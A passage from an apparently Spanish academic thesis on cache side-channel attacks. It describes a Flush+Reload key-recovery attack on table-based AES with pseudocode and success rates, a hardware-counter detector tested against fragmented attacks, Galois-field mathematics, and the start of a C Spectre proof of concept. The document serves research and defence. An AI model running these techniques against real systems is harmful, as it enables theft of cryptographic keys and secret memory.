línea de la tabla no habrán sido utilizados (no se habrán producido de ningún si,j en la parte Te(i+2)%4[si,j] de la ecuación 6.3). Por lo tanto lo que haremos será un algoritmo de descarte de caracteres, que nos devolverá qué número de veces no ha sido utilizado cada uno de los char, de tal manera que los que tengan menor valor serán nuestros candidatos a última clave de ronda. Código 6.2: Fase de procesado de datos. 1 f o r t in 0, · · · , numero_encriptaciones 2 3 // Iteramos en cada f i l a 4 f o r i in 0, 1, 2, 3 5 6 // S i no se ha acced ido en esa en c r i p t a c i on a l a 7 // l i n e a esp iada 8 i f X[ ( i +2) %4][ t ] == 0 9 10 // Iteramos en cada columna 11 f o r j in 0, 1, 2, 3 12 13 //Recorremos todos l o s e lementos que forman 14 // l a l i n e a esp iada 15 f o r l in 0, · · · , elementos_por_linea 16 LRKi,j [(Te(i+2)%4[l] & (0xFF << 8 ∗ (3− i)))⊕ St i,j ] + + 17 end f o r 18 19 end f o r 20 21 end i f 22 23 end f o r 24 25 end f o r Hay que aclarar que el suceso de no acceder a una línea concreta de una tabla durante la última ronda del algoritmo de encriptación no siempre será observable. Si alguna otra ronda 42 ha traído esa línea y ninguna ronda posterior ha sobreescrito la ubicación en la que está, el reload nos dirá que esa línea fue cargada. Sin embargo, no sabremos si la línea fue o no cargada en la última ronda, que es lo que queremos. Nos interesará por tanto la probabilidad de no acceder a una línea durante la ejecución del algoritmo de cifrado, que, como vamos a ver no es despreciable, (y que obtuvimos como datos en la fase de recogida de datos en 6.2). Denotamos como nl el número de elementos por línea. La probabilidad de acceder a una línea de una tabla en concreto será: P (Acceder linea j − ésima de Tei) = nl 256 (6.4) Por lo tanto la probabilidad de no acceder a una línea concreta dentro de una tabla será: P (No acceder linea j − ésima de Tei) = 1− nl 256 (6.5) Como vimos en las ecuaciones 4.21 y 4.22, para cada ronda se realiza un acceso a cada tabla por cada columna del estado. Luego: P (No acceder linea j− ésima de Tei durante una encriptación) = (1− nl 256 )4∗Nrondas (6.6) Para la máquina utilizada, el número de elementos por línea (nl) es 16, y para AES de 128 bits el número de rondas es de 10 (tabla 4.1). Por lo tanto P (No acceder linea j − ésima de Tei durante una encriptación) = 0, 075657338, lo que corresponde a un 7, 6 %. Esto implica que para la máquina utilizada, aproximadamente en una de cada 10 encripta- ciones no se accederá a una línea concreta de una tabla (suponiendo la situación ideal en la que no hubiera ruido ninguno), lo que nos permitirá descartar una serie de caracteres para la última clave de ronda, y que justifica el bucle interno del código 6.2. Para verlo mejor vamos a poner un ejemplo. Establecemos: i es la variable que denota el recorrido por filas. j es la variable que denota el recorrido por columnas. 43 Si,j corresponde al mensaje encriptado devuelto por el algoritmo. La conversión de array (que sería como vendría dada la frase) a matriz se realiza colocando el mensaje por columnas. LRKi,j[t] corresponde a una matriz tridimensional en la que los índices i y j sirven para moverse por los elementos de la clave y para cada elemento de ésta tenemos 256 huecos inicializados a cero y que iremos incrementando según vayamos descartando caracteres. Supongamos que hemos realizado una encriptación y que hemos accedido a las líneas espia- das de las tablas Te0, Te1 y Te3 pero no a la línea espiada de la tabla Te2 (supongamos que las líneas fueran de 4 elementos). Ésta contiene los siguientes valores hexadecimales: [0x63, 0x7c, 0x77, 0x7b]. Vimos que cada elemento de la tabla eran 4 bytes, pero como esta- blecimos en la ecuación 4.22, para la última ronda, de la tabla Te2 solo se utiliza el primer byte. Esto ocurría por la expresión introducida en la ecuación 6.2 donde el 0xFF000000 que afecta a Te2 viene de realizar 0xFF << 8 ∗ (3− i) tomando la i = 0 para que Te(i+2)%4 sea la tabla Te2, quedándonos así con los byte indicados. Tomamos j = 0 y supongamos que S0,0 = 0xd6. Nuestro algoritmo realizará las siguientes operaciones para ese elemento: LRK0,0[0x63⊕ 0xd6] + + LRK0,0[0x7c⊕ 0xd6] + + LRK0,0[0x77⊕ 0xd6] + + LRK0,0[0x7b⊕ 0xd6] + + (6.7) 6.3.2. Obtención de la clave inicial Una vez conseguida la última clave de ronda, necesitamos revertir el proceso de genera- ción de claves que vimos en la sección 4.2.3. Tras una observación detallada se visualiza que realizando el algoritmo totalmente a la inversa podemos generar la clave de ronda anterior 44 con la clave de ronda que tengamos (recorriendo j desde Nb hasta 0), obteniendo lo siguiente al despejar de las ecuaciones obtenidas en la sección 4.2.3: Si j mod Nc 6= 0: RoundKey0,j−4 RoundKey1,j−4 RoundKey2,j−4 RoundKey3,j−4  =  RoundKey0,j−1 RoundKey1,j−1 RoundKey2,j−1 RoundKey3,j−1 ⊕  RoundKey0,j RoundKey1,j RoundKey2,j RoundKey3,j  (6.8) Si j mod Nc = 0: RoundKey0,j−4 RoundKey1,j−4 RoundKey2,j−4 RoundKey3,j−4  =  RoundKey0,j RoundKey1,j RoundKey2,j RoundKey3,j ⊕  Sbox[RoundKey1,j−1] Sbox[RoundKey2,j−1] Sbox[RoundKey3,j−1] Sbox[RoundKey0,j−1] ⊕  Rcon0,j/Nc Rcon1,j/Nc Rcon2,j/Nc Rcon3,j/Nc  (6.9) y cuyas Sbox podrán ser sustituidas por las T-tablas como hicimos en la ecuación 4.22, pudiendo hacer la siguiente sustitución:  Sbox[RoundKey1,j−1] Sbox[RoundKey2,j−1] Sbox[RoundKey3,j−1] Sbox[RoundKey0,j−1]  =  Te2[RoundKey1,j−1] & 0xFF000000 Te3[RoundKey2,j−1] & 0x00FF0000 Te0[RoundKey3,j−1] & 0x0000FF00 Te1[RoundKey0,j−1] & 0x000000FF  (6.10) Por lo tanto iterando esto podemos obtener todas las claves de ronda y la clave inicial. Remarcar que el fallo de un simple caracter en la última clave de ronda destrozará por completo la clave inicial, debido a la acumulación de errores generada por el proceso iterativo del algoritmo citado. El código completo del ataque se puede encontrar en el anexo C.4. Hay que añadir que será posible utilizar el algoritmo con pequeñas modificaciones para otros algoritmos criptográficos basados en tablas. 6.4. Resultados Para comprobar la efectividad del ataque, se han realizado una serie de pruebas, cuyos resultados se van a listar a continuación: 45 Tabla Número de línea observada 0 5 1 1 2 6 3 1 Tabla 6.1: Líneas de tablas utilizadas en las pruebas Se ha comprobado experimentalmente que en función de la línea de cada tabla espiada se obtienen resultados distintos debidos a que cambia el conjunto de cache en el que se ubica la línea. Por lo tanto, se ha ajustado la línea observada de cada tabla de cara a obtener los mejores resultados posibles. En el caso de la máquina utilizada para las pruebas, se han usado las líneas mostradas en la tabla 6.1. En caso de espiar una línea por tabla, han sido necesarias 50000 encriptaciones para obtener un buen resultado. Sin embargo, espiando 4 líneas de cada tabla se consigue reducir el ataque a unas 5000 encriptaciones obteniendo aproximadamente los mismos resultados. Las tasas de éxito obtenidas han sido entorno al 90% de aciertos. Tiempo de ejecución del ataque: inferior a un 1 segundo en ambos casos. 46 Capítulo 7 Detección del ataque A continuación desarrollaremos las técnicas usadas para la detección de ataques como el diseñado en el capítulo 6. La utilización de contadores hardware ya ha sido utilizada para detectar este tipo de ataques, por ejemplo en [11], donde monitorizan el comportamiento del proceso víctima y del atacante, o en [27], monitorizando las distintas máquinas virtuales presentes en el sistema. En este caso, la aproximación tomada será similar a la tomada en [7] pero realizando un detector más simple y un estudio más detallado respecto a fragmen- taciones en el ataque. Durante la sección 7.2 nos centraremos en monitorizar una serie de eventos que caracteri- zarán si el ataque está o no activo (y la construcción del detector), y posteriormente, en la sección 7.3, estudiaremos el comportamiento del detector con variantes temporales del ataque. Observaremos que el tiempo de muestreo del detector influirá notablemente en la detección de los ataques fragmentados. 7.1. Contadores hardware Los contadores hardware, o más conocidos por sus siglas en inglés, PMC (Performance Monitoring Counters) son una serie de registros integrados en el procesador que pueden ser utilizados para almacenar información relativa al estado del sistema. Su utilización viene descrita en [1], y consiste en la manipulación de una serie de bits para el manejo de estos contadores. Para simplificar su uso, se han desarrollado interfaces como la librería PAPI. 47 PAPI es una interfaz para C desarrollada sobre el subsistema perf_event de Linux para facilitar la interacción y manejo de los contadores hardware. Con él se pueden monitorizar consumos, temperaturas, así como una serie de eventos hardware (siempre y cuando estén disponibles en la arquitectura utilizada). Para este estudio se ha utilizado la versión de PAPI citada en el capítulo 5. En nuestro caso usaremos esta librería para medir el número de veces que se han producido una serie de eventos relacionados con la L3 para un proceso concreto. 7.2. Detección del ataque La estructura del ataque presenta una característica fundamental: la cantidad anómala de fallos de L3 debido al continuo uso de las instrucciones clflush y el posterior acceso a esos datos (que vuelve a traer a la L3). Debido a esto, la intuición así como los trabajos citados al principio del capítulo sugieren que el primer contador seleccionado para la construcción del detector sea PAPI_L3_TCM (Level 3 cache misses). Ahora bien, el número de fallos de cache de nivel 3 no será del todo orientativo, ya que un número bajo podría deberse a poca actividad y un número alto se podría producir por otras causas. Para tener un mayor control sobre esto, utilizaremos también el contador PAPI_LD_INS (Load instructions). El cociente PAPI_L3_TCM PAPI_LD_INS resulta demasiado pequeño debido a la diferencia de magnitudes entre los datos recogidos por ambos contadores, por lo que estudiaremos la siguiente modi- ficación: PAPI_L3_TCM PAPI_LD_INS ∗ 1000 que corresponde al número de fallos de L3 por instrucción de LOAD, multiplicado por 1000. De esta forma, al medir el cociente de ambos contadores multiplicado por 1000, se podrán dar dos casos: Cuando esté ocurriendo un ataque, el detector mantendrá un valor fijo superior a cero (debido a que el número de instrucciones de LOAD será cercano al número de fallos de L3 ∗ 1000). Cuando no se produzca ataque, podrán ocurrir picos que lleguen a ese valor, pero de 48 manera aislada, estando normalmente muy próximo a cero (en este caso, el número de instrucciones de LOAD será varios ordenes de magnitud mayor que el número de fallos de L3 ∗ 1000). El detector tiene la siguiente estructura: Inicialización de la librería PAPI ejecutando la instrucción PAPI_library_init. Establecimiento del dominio de escucha de los contadores a todos los procesos del sistema mediante la orden PAPI_set_domain. Creación de un EventSet: se crea una estructura de datos encargada de almacenar nuestros contadores (PAPI_create_eventset). Carga de los contadores en el eventset: ejecutamos PAPI_add_event para cada uno de los contadores que necesitamos (siempre que sean compatibles y no necesiten ser multiplexados). Adjuntar el eventset a un proceso. Para ello realizaremos un PAPI_attach del eventset al PID del proceso que queramos vigilar si es atacado. Iniciamos los contadores con PAPI_start. Bucle de escucha: 1 whi le detec tor_act ivo : 2 #In i c i a l i z amo s e l array en e l que guardamos l o s r e s u l t ado s de l o s contadores 3 va lores_contadores [ i ] = 0 ∀ i in {0, ..., numero_contadores} 4 5 #Recogemos e l va l o r de l o s contadores (PAPI_accum l e e l o s contadores a una va r i ab l e y l o s pone a cero de nuevo ) 6 PAPI_accum( event_set , va lores_contadores ) 7 8 #Procesado de l o s datos de l o s contadores 9 . . . 10 11 #Esperamos e l tiempo co r r e spond i en t e a l a granual idad que queramos que tenga e l contador 12 s l e e p ( tiempo de muestreo ) 49 El código completo puede encontrarse en el anexo C.5. Para las pruebas, además del proceso atacante planteado en el capítulo 6, se ha utilizado un proceso que enviaba un conjunto de varias encriptaciones seguidas. El procesado de datos puede variar, en este caso se fueron guardando los resultados de los dos contadores en un fichero, para posteriormente calcularse y representar gráficamente la métrica, en un proceso distinto utilizando python y la biblioteca matplotlib. En las figuras 7.1 y 7.2, se muestran los resultados obtenidos al realizar las mediciones con los contadores PAPI_L3_TCM y PAPI_LD_INS para el proceso víctima sin ataque (co- lumna derecha), y en presencia de él (a la izquierda). Se observa la diferencia entre cuando hay ataque y cuando no en ambos contadores. Para el contador de fallos de L3, durante la detección de un ataque obtenemos que una vez pasado el pico inicial (experimentalmente se ha observado que tiene una duración de unos 100ms) se miden valores que se mantienen por encima de cero de manera constante. Sin embargo, cuando no se está detectando un ataque obtenemos picos aislados sobre el cero. Además el número de instrucciones de load necesarias sube respecto a cuando el sistema está sufriendo un ataque, ya que cuando no hay ataque se producen muchos menos fallos de cache y, por tanto, el proceso víctima ejecuta más encriptaciones por unidad de tiempo. En las figuras 7.3 y 7.4 se incluyen los resultados anteriores para la métrica PAPI_L3_TCM PAPI_LD_INS ∗ 1000. Al igual que en las figuras 7.1 y 7.2 obtenemos un breve periodo inicial de unos 100ms en el que el valor de la métrica es algo irregular debido a las cargas iniciales, pasando de nuevo a un comportamiento más estable. Se observa claramente que en presencia de ataque, el valor de la métrica se sitúa por encima de uno, a diferencia de cuando no hay ataque, que es más próximo a cero. Por lo tanto, visualizando las dos figuras anteriores, tenemos que pa- ra todas las frecuencias de muestreo estudiadas se obtienen resultados similares, pudiéndose detectar con todas el ataque. En consecuencia, será mejor elegir frecuencias de muestreo ba- jas (sacrificando la precisión), ya que nos producirán una menor carga de trabajo obteniendo 50 (a) Con ataque, frec. detección: 100 µs (b) Sin ataque, frec. detección: 100 µs (c) Con ataque, frec. detección: 1 ms (d) Sin ataque, frec. detección: 1 ms Figura 7.1: Resultados obtenidos para diferentes medidas de muestreo (primera fila 100µs, segunda 1ms). En cada una de las imágenes se encuentra el resultado de los contadores: fallos de cache L3 (arriba), e instrucciones de LOAD (abajo), siendo la primera columna con presencia de ataque y la segunda sin él. los mismos resultados. 7.3. Detección de ataques fragmentados Si se observa el ataque de manera detallada, se aprecia que para cada una de las encriptaciones, se realiza un Flush&Reload, que no necesita información calculada en el Flush&Reload anterior. Por lo tanto, si separamos el bucle que desarrollamos en el código 6.1 en distintas etapas separadas por un tiempo, y luego tratamos los resultados juntos en el código 6.2, podremos fragmentar el ataque para intentar ocultarlo. Durante esta sección trataremos de fragmentar el ataque dividiéndolo en pequeños paquetes (agrupaciones de encriptaciones) separados por un intervalo de tiempo, con el fin de determinar si la detec- ción sigue siendo posible, así como el intervalo de muestreo utilizado por el detector más 51 (a) Con ataque, frec. detección: 10 ms (b) Sin ataque, frec. detección: 10 ms (c) Con ataque, frec. detección: 100 ms (d) Sin ataque, frec. detección: 100 ms Figura 7.2: Resultados obtenidos para diferentes medidas de muestreo (primera fila 10ms y segunda 100ms). En cada una de las imágenes se encuentra el resultado de los contadores: fallos de cache L3 (arriba), e instrucciones de LOAD (abajo), siendo la primera columna con presencia de ataque y la segunda sin él. 52 (a) Con ataque, frec. detección: 100 µs (b) Sin ataque, frec. detección: 100 µs (c) Con ataque, frec. detección: 1 ms (d) Sin ataque, frec. detección: 1 ms Figura 7.3: Evaluación de la métrica seleccionada para distinto tiempo de muestreo del detector. En las dos filas se muestra el resultado para cada tiempo de muestreo: 100µs para la primera fila y 1ms en la segunda, para la métrica “fallos de cache L3 por instrucción de LOAD, multiplicado por 1000”. En la primera columna se encuentra el proceso víctima en presencia de ataque, y en la segunda sin él. 53 (a) Con ataque, frec. detección: 10 ms (b) Sin ataque, frec. detección: 10 ms (c) Con ataque, frec. detección: 100 ms (d) Sin ataque, frec. detección: 100 ms Figura 7.4: Evaluación de la métrica seleccionada para distinto tiempo de muestreo del detector. En las dos filas se muestra el resultado para cada tiempo de muestreo: 10ms para la primera fila y 100ms en la segunda, para la métrica “fallos de cache L3 por instrucción de LOAD, multiplicado por 1000”. En la primera columna se encuentra el proceso víctima en presencia de ataque, y en la segunda sin él. 54 adecuado para seguir detectando estas variaciones. Para estas pruebas, modificaremos el ataque que utilizaba una línea por tabla, de forma que dividiremos las 50000 encriptaciones que eran necesarias para obtener buenos resultados. Por lo tanto nuestras nuevas pruebas dependerán de 3 parámetros, que iremos combinando para observar el comportamiento del detector, y que se listan a continuación: Tamaño del paquete: se utilizarán paquetes de 50, 500 y 5000 encriptaciones. Intervalo temporal de separación entre paquetes: variará entre 100µs, 1ms, 10ms y 100ms. Intervalo de muestreo utilizado por el detector: se utilizarán intervalos de muestreo de 100µs, 1ms, 10ms y 100ms. Tras las distintas pruebas, los resultados más interesantes se han obtenido para paquetes más pequeños y intervalos largos de tiempo entre paquetes. Comenzaremos observando la figura 7.5, en la que se muestran los resultados de 100 paquetes de 500 encriptaciones sepa- rados por intervalos de 10ms con tiempos de muestreo de 1ms y 10ms. Se puede observar que los resultados obtenidos con el intervalo de muestreo de 10ms son similares a los que obteníamos cuando no fragmentábamos el ataque, sin embargo, para los de 1ms la mayor granularidad del muestreo comienza a producir problemas. La métrica obtenida para este caso oscila entre el valor que asignábamos al ataque (cercano a 1) y el de cuando no había ataque (cercano a 0). Esto era de esperar, ya que cuando se hace muestreo con alta granu- laridad, la precisión que aporta, nos perjudica simultáneamente. Esto se produce debido a que las paradas entre paquetes son recogidas por el detector, cumpliéndose el objetivo del atacante (ocultar el ataque). Pasemos a visualizar los resultados para paquetes 10 veces más pequeños que los ante- riores (50 encriptaciones). Estos se presentan en la figura 7.6. En este caso los problemas introducidos en el caso anterior se muestran de manera más evidente. Mientras muestreamos 55 (a) (b) (c) (d) Figura 7.5: Métrica aplicada a la detección de paquetes de 500 encriptaciones separadas en intervalos de 10ms. La columna izquierda corresponde con un ataque y la columna derecha sin él. El muestreo del detector utilizado es de 1ms para la primera fila y de 10ms para la segunda. a 1ms, observamos que cuando no hay ataque aumenta el número de fallos de L3 debido a que las líneas son expulsadas con mayor facilidad debido al funcionamiento normal del sistema. Cuando se está produciendo un ataque, la métrica oscila mucho más que en el caso anterior, siendo más difícil detectarlo (se puede ver en la 7.7 este caso ampliado, en el que se aprecia claramente que muestreos a bajas frecuencias repercuten en la detección). Sin embargo, con frecuencias de muestreo de 10ms o 100ms no tenemos estos problemas. Cuando hay ataque no hay gran diferencia con los resultados obtenidos para ataques sin fragmentación, y para cuando no se está produciendo un ataque la métrica no se acerca al valor de detección de ataque que habíamos fijado. Por último, en la figura 7.8 podemos observar como con un muestreo de 100ms, y un ataque con paquetes de 50 encriptaciones separados por 100ms, seguimos detectando la 56 presencia de ataque. En caso de querer separar más los paquetes o disminuir su tamaño, se ha comprobado experimentalmente que el comportamiento del ataque deja de ser el esperado, produciéndose peores tasas de acierto de lo habitual y dificultándose así el ataque. 57 (a) (b) (c) (d) (e) (f) Figura 7.6: Métrica aplicada a la detección de paquetes de 50 encriptaciones separadas en intervalos de 10ms. La columna izquierda corresponde con un ataque y la columna derecha sin él. La frecuencia de muestreo del detector utilizado es de 1ms para la primera fila, 10ms para la segunda y 100ms para la tercera. 58 Figura 7.7: Imagen aumentada de la detección del ataque con paquetes de 50 encriptaciones separados por 10ms y con frecuencia de muestreo de 1ms. (a) (b) Figura 7.8: Métrica aplicada a la detección de paquetes de 50 encriptaciones separadas en intervalos de 100ms. La columna izquierda corresponde con un ataque y la columna derecha sin él. La frecuencia de muestreo del detector utilizado es de 100ms. 59 Capítulo 8 Conclusión Tras el desarrollo de este trabajo, se han extraído una serie de conclusiones que llevan a observar la gran importancia que tiene la coordinación entre el sistema operativo y la microarquitecura, ya que optimizaciones en una de ellas pueden repercutir drásticamente en la seguridad de la otra, como hemos visto con los ataques de canal lateral. En primer lugar, se ha comprobado que la versión de AES basada en tablas es vulnerable a ataques de canal lateral a cache, lo que ha permitido extraer de forma satisfactoria la clave de encriptación con éxito desde otro core. Por lo tanto tenemos dos opciones: activar contramedidas que palíen estos problemas antes de que se produzcan, o detectar los ataques mientras se están produciendo. Para el primer caso se propone no usar tablas, deshabilitar la deduplicación, o no permitir la ejecución de otros programas no seguros en el socket (todas ellas penalizan el rendimiento de la máquina o limitan el uso de los recursos). Esto lleva a un estudio más detallado de la segunda opción. Con la realización de un detector basado en contadores hardware se ha conseguido que, mediante la monitorización del número de fallos de cache del proceso víctima, se detecten ataques en tiempo real. En contra de lo que se encuentra en la literatura actual, los resultados obtenidos muestran que es posible detectar los ataques con frecuencias de muestreo más bajas (entre 10ms y 100ms), que producen una menor sobrecarga del sistema y que además son más resistentes al ruido. Por último, con la versión más sofisticada del ataque desarrollado (en el que se dividen las 50000 encriptaciones necesarias para obtener la clave en pequeños paquetes de encriptaciones espaciados en el 60 tiempo), se dificulta la detección para frecuencias de muestreo altas, confirmándose así la conclusión de utilizar frecuencias de muestreo más bajas. Se concluye que al disminuir la frecuencia de muestreo no solo se reduce la carga que se produce en el sistema, sino que se aumenta la fiabilidad del detector. Además, como contramedida conjunta al detector, se propone que la clave sea cambiada periódicamente (lo que no disminuye de manera apreciable el rendimiento de la máquina en la que se esté ejecutando). 61 Anexo A Cuerpos finitos en Rijndael Durante este apéndice se explicará el uso del objeto matemático que funciona por debajo de este algoritmo: el cuerpo GF (28), como se hizo en [2] y [12]. Denotamos como GF (28) al cuerpo de Galois de orden 256 = 28 1. Sabemos que para todo cuerpo con orden potencia de primo existe un único cuerpo que posea ese orden, salvo representación (isomorfismo), que es el cuerpo de descomposición del polinomio x256 − x sobre Z/2Z [13, págs. 87-90]. Por lo tanto, si encontramos otro cuerpo de ese orden, ambos serán isomorfos, por lo que serán representaciones distintas de lo mismo. Debido a la complejidad de la definición dada, nada intuitiva, nos interesará tomar una representación de sus elementos lo más sencilla posible, y que facilite al máximo las opera- ciones de nuestro algoritmo. En [3] se propone una representación alternativa de GF (28), el conjunto de números: {010, · · · , 25510} (A.1) Debido a que los computadores trabajan a nivel de bit, nos interesará tomar estos números usando su representación binaria, por lo que tendremos: GF (28) = {000000002, · · · , 111111112} (A.2) 1Para más información sobre teoría de cuerpos puede consultarse [13]. 62 aunque a veces para que nos sea más cómoda su escritura utilizaremos una segunda repre- sentación: GF (28) = {0016, · · · , FF16} (A.3) Además, nos interesará trabajar con una tercera representación de este cuerpo. Podemos crear un isomorfismo que asigne a cada elemento de GF (28) (visto como en A.2) a un elemento de GF (2)[x]/ < x8 − 1 >. Este es el anillo de polinomios con coeficientes binarios módulo el ideal < x8 − 1 > 2, que es equivalente a polinomios de grado menor que 8 con coeficientes binarios. De esta forma, el elemento de GF (28) “101101002” corresponderá al polinomio x7 + x5 + x4 + x2. Llamaremos byte a cada uno de los elementos de esta representación de GF (28). Un byte corresponderá con un polinomio con coeficientes binarios de la forma: a7x 7 + a6x 6 + a5x 5 + a4x 4 + a3x 3 + a2x 2 + a1x 1 + a0 (A.4) con ai ∈ {0, 1}, i ∈ {0, ..., 7}. Comenzaremos con las operaciones que podrán realizarse entre dos elementos. Sean a(x) y b(x) dos elementos de GF (28): Suma: la suma de a(x) y b(x) consiste en realizar una operación XOR de los coefi- cientes que comparten grado. Ejemplo: (x2 + x+ 1) + (x6 + x+ 1) = x6 + x2 (A.5) Multiplicación: tomaremos la multiplicación como la usual de polinomios, módulo un polinomio irreducible m(x), que evitará que nos salgamos del cuerpo. Para Rijndael utilizaremos el polinomio: m(x) = x8 + x4 + x3 + x+ 1 (A.6) 2Para más información sobre ideales y cocientes de anillos por ideales consultar [14]. 63 que equivale a 11B16. Ejemplo: Sea a(x) = x2 +x+ 1 y b(x) = x6 +x+ 1, denotando al producto en este cuerpo como “•”: a(x) • b(x) = ((x2 + x+ 1) ∗ (x6 + x+ 1)) mod m(x) = (x8 + x7 + x6 + x3 + 2x2 + 2x+ 1) mod m(x) = x7 + x6 − x4 + 2x2 + x (A.7) Además, podremos obtener el inverso de estos elementos usando el algoritmo de eucli- des extendido. Se comprueba trivialmente que GF (28) con las operaciones “+” y “•” cumple todos los re- quisitos de un cuerpo. Para agilizar la implementación nos interesará tener en cuenta una operación especial, que es la multiplicación de un elemento por el polinomio x. Sea a(x) ∈ GF (28): a7x 7 + a6x 6 + a5x 5 + a4x 4 + a3x 3 + a2x 2 + a1x 1 + a0 (A.8) El resultado de la operación a(x) • x = a′(x) será: a′(x) = a7x 8 + a6x 7 + a5x 6 + a4x 5 + a3x 4 + a2x 3 + a1x 2 + a0x (A.9) Como se puede observar, si a7 = 0 el polinomio ya está reducido. Si a7 = 1 nos faltaría realizar el módulo de este polinomio por m(x). Para ello, como el polinomio es de grado 8, solo tendríamos que realizar una XOR con el polinomio m(x) (al ser de grado 8 sabemos que el resto de la división va a ser el mismo que si nos quedamos con el resultado de la resta de a′(x) menos m(x)). Por lo tanto la multiplicación por x se puede implementar como un desplazamiento a la izquierda a nivel de bit, combinado con la adición del polinomio m(x). Veamos un ejemplo 64 tomando en este caso la representación binaria de los elementos del cuerpo. Sea el polinomio b(x) = x7 + 1, o lo que es lo mismo, 10000001, la operación b(x) • x es: b(x)•x = (100000012 << 1) XOR 1000110112 = 1000000102 XOR 1000110112 = 000110012 (A.10) Debido a la utilidad que veremos a continuación que tiene la multiplicación por este polino- mio, llamaremos a la operación xmul y viendo los elementos de GF (28) como polinomios, ésta vendrá definida de la siguiente forma: xmul : GF (28)→ GF (28) a(x) 7→ xmul(a(x)) = a(x) • x (A.11) Gracias a la asociatividad entre las dos operaciones, presente por ser cuerpo, podremos utilizar la multiplicación por x para realizar de una manera sencilla multiplicaciones por otros polinomios. Veamos un ejemplo extraído de [2]. Sea el producto 5716 • 1316 = FE16. Calculamos: 5716 • 0216 = xmul(5716) = AE16 5716 • 0416 = xmul(AE16) = 4716 5716 • 0816 = xmul(4716) = 8E16 5716 • 1016 = xmul(8E16) = 0716 (A.12) Ahora, podemos descomponer la operación 5716 • 1316 de la siguiente manera: 5716 • 1316 = 5716 • (0116 XOR 0216 XOR 1016) (A.13) y utilizando asociatividad y los resultados de A.12: 5716 • 1316 = 5716 • (0116 XOR 0216 XOR 1016) = (5716 • 0116) XOR (5716 • 0216) XOR (5716 • 1016) = 5716 XOR AE16 XOR 0716 = FE16 (A.14) Como se comenta en el capítulo 4, Rijndael trabaja con palabras de 4 bytes. Para re- presentarlas matemáticamente, tomaremos los polinomios de grado menor que cuatro con 65 coeficientes en GF (28). De esta forma, dada una palabra formada por los bytes (a0 a1 a2 a3), la representaremos como el siguiente polinomio: a(x) = a3x 3 + a2x 2 + a1x+ a0 (A.15) donde a0, a1, a2 y a3 ∈ GF (28). Comencemos definiendo cómo operar con estos polinomios. Sean a(x) = a3x 3 + a2x 2 + a1x + a0 y b(x) = b3x 3 + b2x 2 + b1x + b0 dos polinomios con coeficientes en GF (28). La suma de estos polinomios vendrá dada como: a(x) + b(x) = (a3 + b3)x 3 + (a2 + b2)x 2 + (a1 + b1)x+ (a0 + b0) (A.16) donde ai + bi, i ∈ {0, 1, 2, 3} corresponde a la suma de GF (28). Para el producto el proceso no resulta tan sencillo y necesitaremos dos pasos. Si realizamos el producto de los dos polinomios anteriores, produciremos un polinomio c(x) = a(x) ∗ b(x) de la forma: c(x) = c6x 6 + c5x 5 + c4x 4 + c3x 3 + c2x 2 + c1x+ c0 (A.17) donde los coeficientes ci, i ∈ {0, ..., 6} serán: ci = i∑ j=0 ai−j • bj (A.18) Como este resultado no representa el polinomio correspondiente a una palabra (tendría que ser un polinomio de grado menor que 4), haremos una segunda etapa que realice una operación modular al polinomio de la primera etapa y le reduzca el grado. Para ello, Rijndael utiliza n(x) = x4 + 1, lo que nos produce la siguiente igualdad: xi mod x4 + 1 = xi mod 4 (A.19) Por tanto al aplicarle la operación modular a c(x), obtendremos un nuevo polinomio d(x) que será de la siguiente forma: d(x) = d3x 3 + d2x 2 + d1x+ d0 = c(x) mod n(x) = (c6x 6 + c5x 5 + c4x 4 + c3x 3 + c2x 2 + c1x+ c0) mod n(x) = por A,19 c6x 2 + c5x+ c4 + c3x 3 + c2x 2 + c1x+ c0 = agrupando c3x 3 + (c6 + c2)x 2 + (c5 + c1)x+ (c0 + c4) (A.20) 66 por lo que: d0 = c3 = (a0 • b0) + (a3 • b1) + (a2 • b2) + (a1 • b3) d1 = c6 + c2 = (a1 • b0) + (a0 • b1) + (a3 • b2) + (a2 • b3) d2 = c5 + c1 = (a2 • b0) + (a1 • b1) + (a0 • b2) + (a3 • b3) d3 = c0 + c4 = (a3 • b0) + (a2 • b1) + (a1 • b2) + (a0 • b3) (A.21) Observando los coeficientes producidos del polinomio resultante, podemos observar que es equivalente a la siguiente operación: d0 d1 d2 d3  =  a0 a3 a2 a1 a1 a0 a3 a2 a2 a1 a0 a3 a3 a2 a1 a0   b0 b1 b2 b3  (A.22) Con esto, vemos por ejemplo que la operación MixColumns (sección 4.2.1) consiste en el producto de cada una de las cuatro palabras (vistas como polinomios con coeficientes en GF (28)) por el polinomio: a(x) = 0316x 3 + 0116x 2 + 0116x+ 02116 (A.23) 67 Anexo B Código: Spectre monoproceso Código B.1: Ejemplo de ataque spectre monoproceso 1 //En e s t e programa se e j e cu t a r á un ataque sp e c t r e en e l mismo proceso v í ctima . 2 #inc lude 3 #inc lude 4 5 #inc lude 6 #inc lude 7 //#pragma opt imize (" gt " , on ) 8 9 #de f i n e ASCII 256 10 #de f i n e ESPACIO 4096 11 #de f i n e VAL_PRUEBAS 1000 12 #de f i n e COTA 135 13 14 //Este es e l array p r i n c i p a l que usaremos para e l entrenamiento y para s a l i r n o s de l l im i t e . 15 uint8_t array [ 1 0 ] ; 16 17 //En l a va r i ab l e c l ave se almacenara l a c l ave a l a que queremos acceder y no tenemos acceso . 18 char ∗ c l ave = " abcdefghi jk lmno " ; 19 20 //Tamaño de l a c l ave 21 uint8_t s i z e_c lave = 15 ; 22 23 //256 es e l numero de c a r a c t e r e s ASCII . ESPACIO se pone para no poder 24 // t r a e r má s de un elemento a cache a l t r a e r un bloque . 25 uint8_t array_aux [ ASCII ∗ ESPACIO ] ; 26 27 //Tamaño de l array . Út i l para l a comprobaci ón de l l im i t e . 28 uint8_t s i ze_array = 10 ; 29 //−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−− 30 uint8_t vict ima ( s i ze_t x ) { 31 i f ( x < s ize_array ) { 68 32 re turn array_aux [ array [ x ] ∗ ESPACIO ] ; 33 } 34 re turn 0 ; 35 } 36 //−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−− 37 //Funci ón encargada de qu i t a r e l array a u x i l i a r de cache . 38 void f lu shFunct ion ( ) { 39 i n t i ; 40 f o r ( i = 0 ; i < ASCII ; i++){ 41 array_aux [ i ∗ ESPACIO] = 1 ; 42 } 43 f o r ( i = 0 ; i < ASCII ; i++){ 44 _mm_clflush(&array_aux [ i ∗ ESPACIO] ) ; 45 } 46 } 47 